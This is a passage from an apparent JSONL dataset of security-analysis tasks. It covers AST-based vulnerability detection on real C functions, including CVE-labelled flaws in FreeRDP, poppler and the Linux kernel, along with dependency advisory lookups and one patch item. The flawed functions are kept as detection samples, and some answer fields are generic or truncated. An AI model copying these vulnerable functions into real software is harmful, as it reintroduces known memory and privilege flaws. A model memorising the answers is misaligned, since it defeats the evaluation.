\"VpxVideoInfo\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"info\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 14\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 19\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 8,\n \"col\": 21\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 8,\n \"col\": 22\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 24\n },\n {\n \"token\": \"VpxVideoWriter\",\n \"ast_node\": \"type_identifier\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 16\n },\n {\n \"token\": \"writer\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 17\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 24\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 9,\n \"col\": 26\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 30\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 10,\n \"col\": 1\n },\n {\n \"token\": \"VpxInterface\",\n \"ast_node\": \"type_identifier\",\n \"line\": 10,\n \"col\": 7\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 10,\n \"col\": 20\n },\n {\n \"token\": \"encoder\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 21\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 10,\n \"col\": 29\n },\n {\n \"token\": \"NULL\",\n \"ast_node\": \"NULL\",\n \"line\": 10,\n \"col\": 31\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 10,\n \"col\": 35\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 11,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 11,\n \"col\": 7\n },\n {\n \"token\": \"fps\",\n \"ast_node\": \"identifier\",\n \"line\": 11,\n \"col\": 11\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 11,\n \"col\": 15\n },\n {\n \"token\": \"30\",\n \"ast_node\": \"number_literal\",\n \"line\": 11,\n \"col\": 17\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void clock_was_set(void)\n{\n\t/* Retrigger the CPU local events everywhere */\n\ton_each_cpu(retrigger_next_event, NULL, 0, 1);\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-190", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static BOOL gdi_Bitmap_Decompress(rdpContext* context, rdpBitmap* bitmap,\n const BYTE* pSrcData, UINT32 DstWidth, UINT32 DstHeight,\n UINT32 bpp, UINT32 length, BOOL compressed,\n UINT32 codecId)\n {\n \tUINT32 SrcSize = length;\n \trdpGdi* gdi = context->gdi;\n \tbitmap->compressed = FALSE;\n \tbitmap->format = gdi->dstFormat;\n\tbitmap->length = DstWidth * DstHeight * GetBytesPerPixel(bitmap->format);\n \tbitmap->data = (BYTE*) _aligned_malloc(bitmap->length, 16);\n \n \tif (!bitmap->data)\n\t\treturn FALSE;\n\n\tif (compressed)\n\t{\n\t\tif (bpp < 32)\n\t\t{\n\t\t\tif (!interleaved_decompress(context->codecs->interleaved,\n\t\t\t pSrcData, SrcSize,\n\t\t\t DstWidth, DstHeight,\n\t\t\t bpp,\n\t\t\t bitmap->data, bitmap->format,\n\t\t\t 0, 0, 0, DstWidth, DstHeight,\n\t\t\t &gdi->palette))\n\t\t\t\treturn FALSE;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tif (!planar_decompress(context->codecs->planar, pSrcData, SrcSize,\n\t\t\t DstWidth, DstHeight,\n\t\t\t bitmap->data, bitmap->format, 0, 0, 0,\n\t\t\t DstWidth, DstHeight, TRUE))\n\t\t\t\treturn FALSE;\n\t\t}\n\t}\n\telse\n\t{\n\t\tconst UINT32 SrcFormat = gdi_get_pixel_format(bpp);\n\t\tconst size_t sbpp = GetBytesPerPixel(SrcFormat);\n\t\tconst size_t dbpp = GetBytesPerPixel(bitmap->format);\n\n\t\tif ((sbpp == 0) || (dbpp == 0))\n\t\t\treturn FALSE;\n\t\telse\n\t\t{\n\t\t\tconst size_t dstSize = SrcSize * dbpp / sbpp;\n\n\t\t\tif (dstSize < bitmap->length)\n\t\t\t\treturn FALSE;\n\t\t}\n\n\t\tif (!freerdp_image_copy(bitmap->data, bitmap->format, 0, 0, 0,\n\t\t DstWidth, DstHeight, pSrcData, SrcFormat,\n\t\t 0, 0, 0, &gdi->palette, FREERDP_FLIP_VERTICAL))\n\t\t\treturn FALSE;\n\t}\n\n\treturn TRUE;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-190\",\n \"cwe_name\": \"Integer Overflow\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-8787\",\n \"project\": \"FreeRDP\",\n \"vulnerable_lines\": [\n 10\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"BOOL\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"gdi_Bitmap_Decompress\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \"rdpContext\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 34\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \"context\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 46\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \"rdpBitmap\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 55\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"bitmap\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 66\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 72\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 2,\n \"col\": 34\n },\n {\n \"token\": \"BYTE\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 40\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 44\n },\n {\n \"token\": \"pSrcData\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 46\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 54\n },\n {\n \"token\": \"UINT32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 56\n },\n {\n \"token\": \"DstWidth\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 63\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 71\n },\n {\n \"token\": \"UINT32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 73\n },\n {\n \"token\": \"DstHeight\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 80\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 89\n },\n {\n \"token\": \"UINT32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \"bpp\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 41\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 44\n },\n {\n \"token\": \"UINT32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 46\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 53\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 59\n },\n {\n \"token\": \"BOOL\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 61\n },\n {\n \"token\": \"compressed\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 66\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 76\n },\n {\n \"token\": \"UINT32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 34\n },\n {\n \"token\": \"codecId\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 41\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 48\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"UINT32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 2\n },\n {\n \"token\": \"SrcSize\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 6,\n \"col\": 17\n },\n {\n \"token\": \"length\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 19\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 25\n },\n {\n \"token\": \"rdpGdi\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \"gdi\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 10\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 14\n },\n {\n \"token\": \"context\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 23\n },\n {\n \"token\": \"gdi\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 25\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 28\n },\n {\n \"token\": \"bitmap\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \"compressed\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 10\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 21\n },\n {\n \"token\": \"FALSE\",\n \"ast_node\": \"false\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 28\n },\n {\n \"token\": \"bitmap\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 9,\n \"col\": 8\n },\n {\n \"token\": \"format\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 10\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 9,\n \"col\": 17\n },\n {\n \"token\": \"gdi\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 19\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: ganeti\nInstalled version: <2.0.5-1\nSummary: Multiple directory traversal vulnerabilities in the iallocator framework in Ganeti 1.2.4 through 1.2.8, 2.0.0 through 2.0.4, and 2.1.0 before 2.1.0~rc2 allow (1) remote attackers to execute arbitrary ...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2009-4261\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"ganeti\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2.0.5-1\",\n \"fixed_version\": \"2.0.5-1\",\n \"finding\": \"Multiple directory traversal vulnerabilities in the iallocator framework in Ganeti 1.2.4 through 1.2.8, 2.0.0 through 2.0.4, and 2.1.0 before 2.1.0~rc2 allow (1) remote attackers to execute arbitrary ...\",\n \"remediation\": \"Upgrade ganeti to 2.0.5-1 or later.\"\n}"} {"task": "vuln_patch", "language": "cpp", "cwe": "CWE-189", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C++ function contains a known security vulnerability (CWE-189). Produce the patched version and explain the fix. Output JSON.", "input": "void GfxImageColorMap::getRGBLine(Guchar *in, unsigned int *out, int length) {\n int i, j;\n Guchar *inp, *tmp_line;\n\n switch (colorSpace->getMode()) {\n case csIndexed:\n case csSeparation:\n tmp_line = (Guchar *) gmalloc (length * nComps2);\n for (i = 0; i < length; i++) {\n for (j = 0; j < nComps2; j++) {\n \ttmp_line[i * nComps2 + j] = byte_lookup[in[i] * nComps2 + j];\n }\n }\n colorSpace2->getRGBLine(tmp_line, out, length);\n gfree (tmp_line);\n break;\n\n default:\n inp = in;\n for (j = 0; j < length; j++)\n for (i = 0; i < nComps; i++) {\n\t*inp = byte_lookup[*inp * nComps + i];\n\tinp++;\n }\n colorSpace->getRGBLine(in, out, length);\n break;\n }\n\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-189\",\n \"cwe_name\": \"Numeric Errors\",\n \"cve\": \"CVE-2009-3605\",\n \"fixed_code\": \"void GfxImageColorMap::getRGBLine(Guchar *in, unsigned int *out, int length) {\\n int i, j;\\n Guchar *inp, *tmp_line;\\n\\n switch (colorSpace->getMode()) {\\n case csIndexed:\\n case csSeparation:\\n tmp_line = (Guchar *) gmallocn (length, nComps2);\\n for (i = 0; i < length; i++) {\\n for (j = 0; j < nComps2; j++) {\\n \\ttmp_line[i * nComps2 + j] = byte_lookup[in[i] * nComps2 + j];\\n }\\n }\\n colorSpace2->getRGBLine(tmp_line, out, length);\\n gfree (tmp_line);\\n break;\\n\\n default:\\n inp = in;\\n for (j = 0; j < length; j++)\\n for (i = 0; i < nComps; i++) {\\n\\t*inp = byte_lookup[*inp * nComps + i];\\n\\tinp++;\\n }\\n colorSpace->getRGBLine(in, out, length);\\n break;\\n }\\n\\n}\\n\",\n \"change_summary\": \"Security fix applied to the vulnerable function.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.AspNetCore.Components\nInstalled version: 8.0.0-rc.2.23480.2\nSummary: Microsoft Security Advisory CVE-2023-36558: .NET Security Feature Bypass Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-3fx3-85r4-8j3w\",\n \"cve\": \"CVE-2023-36558\",\n \"aliases\": [\n \"BIT-aspnet-core-2023-36558\",\n \"BIT-dotnet-2023-36558\",\n \"BIT-dotnet-sdk-2023-36558\",\n \"CVE-2023-36558\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.AspNetCore.Components\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=8.0.0-rc.2.23480.2, <8.0.0\",\n \"fixed_version\": \"8.0.0\",\n \"finding\": \"Microsoft Security Advisory CVE-2023-36558: .NET Security Feature Bypass Vulnerability\",\n \"remediation\": \"Upgrade Microsoft.AspNetCore.Components to 8.0.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-201", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: apache-airflow\nInstalled version: <2.10.3\nSummary: Apache Airflow vulnerable to Insertion of Sensitive Information Into Sent Data", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-j857-2pwm-jjmm\",\n \"cve\": \"CVE-2024-50378\",\n \"aliases\": [\n \"BIT-airflow-2024-50378\",\n \"CVE-2024-50378\",\n \"PYSEC-2026-1134\"\n ],\n \"cwe\": \"CWE-201\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"apache-airflow\",\n \"severity\": \"low\",\n \"affected_versions\": \">=0, <2.10.3\",\n \"fixed_version\": \"2.10.3\",\n \"finding\": \"Apache Airflow vulnerable to Insertion of Sensitive Information Into Sent Data\",\n \"remediation\": \"Upgrade apache-airflow to 2.10.3 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int isdn_net_header(struct sk_buff *skb, struct net_device *dev,\n\t\t\t unsigned short type,\n\t\t\t const void *daddr, const void *saddr, unsigned plen)\n{\n\tisdn_net_local *lp = dev->priv;\n\tunsigned char *p;\n\tushort len = 0;\n\n\tswitch (lp->p_encap) {\n\t\tcase ISDN_NET_ENCAP_ETHER:\n\t\t\tlen = eth_header(skb, dev, type, daddr, saddr, plen);\n\t\t\tbreak;\n#ifdef CONFIG_ISDN_PPP\n\t\tcase ISDN_NET_ENCAP_SYNCPPP:\n\t\t\t/* stick on a fake header to keep fragmentation code happy. */\n\t\t\tlen = IPPP_MAX_HEADER;\n\t\t\tskb_push(skb,len);\n\t\t\tbreak;\n#endif\n\t\tcase ISDN_NET_ENCAP_RAWIP:\n\t\t\tprintk(KERN_WARNING \"isdn_net_header called with RAW_IP!\\n\");\n\t\t\tlen = 0;\n\t\t\tbreak;\n\t\tcase ISDN_NET_ENCAP_IPTYP:\n\t\t\t/* ethernet type field */\n\t\t\t*((ushort *) skb_push(skb, 2)) = htons(type);\n\t\t\tlen = 2;\n\t\t\tbreak;\n\t\tcase ISDN_NET_ENCAP_UIHDLC:\n\t\t\t/* HDLC with UI-Frames (for ispa with -h1 option) */\n\t\t\t*((ushort *) skb_push(skb, 2)) = htons(0x0103);\n\t\t\tlen = 2;\n\t\t\tbreak;\n\t\tcase ISDN_NET_ENCAP_CISCOHDLC:\n\t\tcase ISDN_NET_ENCAP_CISCOHDLCK:\n\t\t\tp = skb_push(skb, 4);\n\t\t\tp += put_u8 (p, CISCO_ADDR_UNICAST);\n\t\t\tp += put_u8 (p, CISCO_CTRL);\n\t\t\tp += put_u16(p, type);\n\t\t\tlen = 4;\n\t\t\tbreak;\n#ifdef CONFIG_ISDN_X25\n\t\tdefault:\n\t\t /* try if there are generic concap protocol routines */\n\t\t\tif( lp-> netdev -> cprot ){\n\t\t\t\tprintk(KERN_WARNING \"isdn_net_header called with concap_proto!\\n\");\n\t\t\t\tlen = 0;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tbreak;\n#endif /* CONFIG_ISDN_X25 */\n\t}\n\treturn len;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"linux-2.6\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-918", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: axios\nInstalled version: <0.21.1\nSummary: Axios vulnerable to Server-Side Request Forgery", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-4w2v-q235-vp99\",\n \"cve\": \"CVE-2020-28168\",\n \"aliases\": [\n \"CVE-2020-28168\"\n ],\n \"cwe\": \"CWE-918\",\n \"ecosystem\": \"npm\",\n \"package\": \"axios\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <0.21.1\",\n \"fixed_version\": \"0.21.1\",\n \"finding\": \"Axios vulnerable to Server-Side Request Forgery\",\n \"remediation\": \"Upgrade axios to 0.21.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-200", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: undici\nInstalled version: <5.28.4\nSummary: Undici's Proxy-Authorization header not cleared on cross-origin redirect for dispatch, request, stream, pipeline", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-m4v8-wqvr-p9f7\",\n \"cve\": \"CVE-2024-30260\",\n \"aliases\": [\n \"CVE-2024-30260\"\n ],\n \"cwe\": \"CWE-200\",\n \"ecosystem\": \"npm\",\n \"package\": \"undici\",\n \"severity\": \"low\",\n \"affected_versions\": \">=0, <5.28.4\",\n \"fixed_version\": \"5.28.4\",\n \"finding\": \"Undici's Proxy-Authorization header not cleared on cross-origin redirect for dispatch, request, stream, pipeline\",\n \"remediation\": \"Upgrade undici to 5.28.4 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-264", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int __poke_user_compat(struct task_struct *child,\n\t\t\t addr_t addr, addr_t data)\n{\n\tstruct compat_user *dummy32 = NULL;\n\t__u32 tmp = (__u32) data;\n\taddr_t offset;\n\n\tif (addr < (addr_t) &dummy32->regs.acrs) {\n\t\tstruct pt_regs *regs = task_pt_regs(child);\n\t\t/*\n\t\t * psw, gprs, acrs and orig_gpr2 are stored on the stack\n\t\t */\n\t\tif (addr == (addr_t) &dummy32->regs.psw.mask) {\n\t\t\t__u32 mask = PSW32_MASK_USER;\n \n \t\t\tmask |= is_ri_task(child) ? PSW32_MASK_RI : 0;\n \t\t\t/* Build a 64 bit psw mask from 31 bit mask. */\n\t\t\tif ((tmp & ~mask) != PSW32_USER_BITS)\n \t\t\t\t/* Invalid psw mask. */\n \t\t\t\treturn -EINVAL;\n \t\t\tregs->psw.mask = (regs->psw.mask & ~PSW_MASK_USER) |\n \t\t\t\t(regs->psw.mask & PSW_MASK_BA) |\n \t\t\t\t(__u64)(tmp & mask) << 32;\n\t\t} else if (addr == (addr_t) &dummy32->regs.psw.addr) {\n\t\t\t/* Build a 64 bit psw address from 31 bit address. */\n\t\t\tregs->psw.addr = (__u64) tmp & PSW32_ADDR_INSN;\n\t\t\t/* Transfer 31 bit amode bit to psw mask. */\n\t\t\tregs->psw.mask = (regs->psw.mask & ~PSW_MASK_BA) |\n\t\t\t\t(__u64)(tmp & PSW32_ADDR_AMODE);\n\t\t} else {\n\t\t\t/* gpr 0-15 */\n\t\t\t*(__u32*)((addr_t) ®s->psw + addr*2 + 4) = tmp;\n\t\t}\n\t} else if (addr < (addr_t) (&dummy32->regs.orig_gpr2)) {\n\t\t/*\n\t\t * access registers are stored in the thread structure\n\t\t */\n\t\toffset = addr - (addr_t) &dummy32->regs.acrs;\n\t\t*(__u32*)((addr_t) &child->thread.acrs + offset) = tmp;\n\n\t} else if (addr == (addr_t) (&dummy32->regs.orig_gpr2)) {\n\t\t/*\n\t\t * orig_gpr2 is stored on the kernel stack\n\t\t */\n\t\t*(__u32*)((addr_t) &task_pt_regs(child)->orig_gpr2 + 4) = tmp;\n\n\t} else if (addr < (addr_t) &dummy32->regs.fp_regs) {\n\t\t/*\n\t\t * prevent writess of padding hole between\n\t\t * orig_gpr2 and fp_regs on s390.\n\t\t */\n\t\treturn 0;\n\n\t} else if (addr < (addr_t) (&dummy32->regs.fp_regs + 1)) {\n\t\t/*\n\t\t * floating point regs. are stored in the thread structure \n\t\t */\n\t\tif (addr == (addr_t) &dummy32->regs.fp_regs.fpc &&\n\t\t test_fp_ctl(tmp))\n\t\t\treturn -EINVAL;\n\t offset = addr - (addr_t) &dummy32->regs.fp_regs;\n\t\t*(__u32 *)((addr_t) &child->thread.fp_regs + offset) = tmp;\n\n\t} else if (addr < (addr_t) (&dummy32->regs.per_info + 1)) {\n\t\t/*\n\t\t * Handle access to the per_info structure.\n\t\t */\n\t\taddr -= (addr_t) &dummy32->regs.per_info;\n\t\t__poke_user_per_compat(child, addr, data);\n\t}\n\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-264\",\n \"cwe_name\": \"Permissions/Privileges/Access Control\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2014-3534\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 18\n ],\n \"sink_node_type\": \"if_statement\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\",\n \"compound_statement\",\n \"if_statement\",\n \"compound_statement\",\n \"if_statement\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 13,\n \"col\": 2\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 5\n },\n {\n \"token\": \"addr\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 6\n },\n {\n \"token\": \"==\",\n \"ast_node\": \"==\",\n \"line\": 13,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 13,\n \"col\": 14\n },\n {\n \"token\": \"addr_t\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 15\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 21\n },\n {\n \"token\": \"&\",\n \"ast_node\": \"&\",\n \"line\": 13,\n \"col\": 23\n },\n {\n \"token\": \"dummy32\",\n \"ast_node\": \"identifier\",\n \"line\": 13,\n \"col\": 24\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 13,\n \"col\": 31\n },\n {\n \"token\": \"regs\",\n \"ast_node\": \"field_identifier\",\n \"line\": 13,\n \"col\": 33\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 13,\n \"col\": 37\n },\n {\n \"token\": \"psw\",\n \"ast_node\": \"field_identifier\",\n \"line\": 13,\n \"col\": 38\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 13,\n \"col\": 41\n },\n {\n \"token\": \"mask\",\n \"ast_node\": \"field_identifier\",\n \"line\": 13,\n \"col\": 42\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 13,\n \"col\": 46\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 13,\n \"col\": 48\n },\n {\n \"token\": \"__u32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 14,\n \"col\": 3\n },\n {\n \"token\": \"mask\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 9\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 14,\n \"col\": 14\n },\n {\n \"token\": \"PSW32_MASK_USER\",\n \"ast_node\": \"identifier\",\n \"line\": 14,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 14,\n \"col\": 31\n },\n {\n \"token\": \"mask\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 4\n },\n {\n \"token\": \"|=\",\n \"ast_node\": \"|=\",\n \"line\": 16,\n \"col\": 9\n },\n {\n \"token\": \"is_ri_task\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 16,\n \"col\": 22\n },\n {\n \"token\": \"child\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 23\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 16,\n \"col\": 28\n },\n {\n \"token\": 